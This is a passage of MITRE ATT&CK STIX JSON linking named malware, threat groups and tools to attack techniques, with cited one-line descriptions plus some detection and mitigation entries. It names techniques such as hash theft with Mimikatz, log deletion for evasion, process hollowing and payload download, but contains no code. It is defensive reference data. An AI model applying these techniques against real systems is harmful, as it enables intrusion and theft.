detection.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7296a94e-49f1-40b9-ae7a-42dd0ffa143c","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for contextual data about a firewall and activity around it such as name, policy, or status","source_ref":"x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:14:43.530Z","description":"[ZLib](https://attack.mitre.org/software/S0086) has the ability to obtain screenshots of the compromised system.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72998c1e-2455-49f4-bb03-5ffae89433b5","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--729d8ddd-b1e1-4076-b98c-3d5497dffd6e","type":"relationship","created":"2019-06-05T13:46:47.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","source_name":"Fidelis njRAT June 2013"},{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.299Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has modified the Windows firewall to allow itself to communicate through the firewall.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--729f4b9b-2d25-4e69-9a9b-adaa62c2ee31","created":"2021-03-11T16:59:40.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.138Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can execute the command code do_download to retrieve remote files from C2.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72a10804-bc08-47a8-92ec-8e173b30705e","created":"2020-08-03T19:28:18.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro njRAT 2018","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:34:11.717Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has included a base64 encoded executable.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72a914ff-e640-4ea3-9c61-d144a988e3a7","created":"2024-01-22T19:34:06.784Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T19:34:06.784Z","description":"[Pcexter](https://attack.mitre.org/software/S1102) has the ability to search for files in specified directories.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72ac0ee1-24c0-4b4e-b96d-f42575ce9af8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"can download and execute a second-stage payload.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72b03734-7e03-4cfe-8f0f-2d366febfb79","created":"2019-06-05T17:31:22.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.892Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used strings from legitimate system files and existing folders for its file, folder, and Registry entry names.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72b1c4ab-81ca-47a4-a541-ceb44580c87b","type":"relationship","created":"2020-06-23T19:53:58.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"source_name":"Flashpoint FIN 7 March 2019","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2020-06-24T19:03:20.236Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used JavaScript scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc","created":"2020-11-10T16:04:00.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.654Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.(Citation: DFIR Ryuk's Return October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72b7d86e-5e78-4bc6-a16e-c4380d12d627","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}],"modified":"2020-01-17T19:44:36.674Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) adds the setuid flag to a binary so it can easily elevate in the future.(Citation: OSX Keydnap malware)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72b81f9e-8760-4d46-9ed3-4b91b12f6299","created":"2023-07-28T18:15:58.016Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T19:08:32.061Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized publicly available tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Impacket](https://attack.mitre.org/software/S0357), PWdump7, ProcDump, Nmap, and Incognito V2 for targeting efforts.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72babf5f-f117-4a1c-a453-6e6c16c355c4","type":"relationship","created":"2020-12-22T17:07:56.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.842Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has the ability to download and execute additional payloads via a DropBox API.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--72c044ec-4869-4273-aff9-10c14e3326ca","created":"2022-06-10T12:43:51.145Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched public code repositories for exposed credentials.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-08-09T13:04:57.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72c13b6e-3134-4b0f-a51b-123db35ae080","created":"2024-05-20T21:20:33.076Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:20:33.076Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) enumerated logs related to authentication in Linux environments prior to deleting selective entries for defense evasion purposes.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72cb3a93-f4c1-43a8-9a62-43bf1f6f4889","type":"relationship","created":"2019-09-13T17:14:47.391Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."}],"modified":"2020-11-20T20:11:15.704Z","description":"[Machete](https://attack.mitre.org/software/S0409) renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72cf04c6-5e0b-4743-9386-88f1f1f45899","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"},{"source_name":"Microsoft Dofoil 2018","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}],"modified":"2019-06-24T19:07:12.536Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Microsoft Dofoil 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72d641a0-126d-4bb2-98de-9f8ec46a8d9d","created":"2023-09-08T19:21:18.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Phishing","description":"CISA. (2021, February 1). Avoiding Social Engineering and Phishing Attacks. Retrieved September 8, 2023.","url":"https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T20:31:23.077Z","description":"Users can be trained to identify and report social engineering techniques and spearphishing attempts, while also being suspicious of and verifying the identify of callers.(Citation: CISA Phishing)","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72d6fe7e-ba33-4117-8153-64226f189ed2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"}],"modified":"2019-09-04T22:55:41.874Z","description":"(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--72db9534-3ac3-46df-b8ca-220727d9deb9","created":"2023-09-28T13:28:43.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:32:57.040Z","description":"Once inside a Virtual Private Cloud, [Pacu](https://attack.mitre.org/software/S1091) can attempt to identify DirectConnect, VPN, or VPC Peering.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c","type":"relationship","created":"2019-06-25T12:37:30.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-09T18:51:50.549Z","description":"Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72df7e88-84ce-449b-ae0f-a8ceb9316964","type":"relationship","created":"2020-07-01T21:05:18.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.400Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can persist via a LaunchAgent.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72e0dd03-d994-4a38-97a8-dab5ae456cbc","type":"relationship","created":"2021-05-20T14:23:10.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.354Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use net localgroup to list local groups on a system.(Citation: Cobalt Strike Manual 4.3 November 